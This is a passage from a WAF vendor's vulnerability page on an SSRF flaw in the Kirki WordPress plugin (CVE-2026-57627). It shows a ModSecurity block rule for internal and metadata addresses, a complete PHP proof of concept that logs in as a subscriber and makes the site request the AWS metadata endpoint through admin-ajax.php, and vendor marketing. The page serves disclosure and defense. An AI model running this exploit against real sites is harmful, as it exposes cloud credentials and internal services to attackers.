    SecRule ARGS_POST:elementUrl "@rx ^https?://(127.0.0.1|localhost|10.|172.(1[6-9]|2[0-9]|3[01]).|192.168.|169.254.|0.0.0.0|::1|fd[0-9a-f]{2}:|fe80:)" 
      "t:none,chain,log"
      SecRule MATCHED_VAR "@rx ." "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57627 - Kirki – Freeform Page Builder, Website Builder & Customizer <= 6.0.11 SSRF

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$username = 'subscriber';           // CHANGE THIS to a valid subscriber username
$password = 'subscriber_password';   // CHANGE THIS to the subscriber's password

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Perform SSRF via AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Target an internal service - AWS metadata endpoint example
$ssrf_url = 'http://169.254.169.254/latest/meta-data/';

$post_data = array(
    'action' => 'get-pre-built-html',
    'elementUrl' => $ssrf_url
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "nn";
echo "Response Body:n";
echo $response;

// Clean up
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.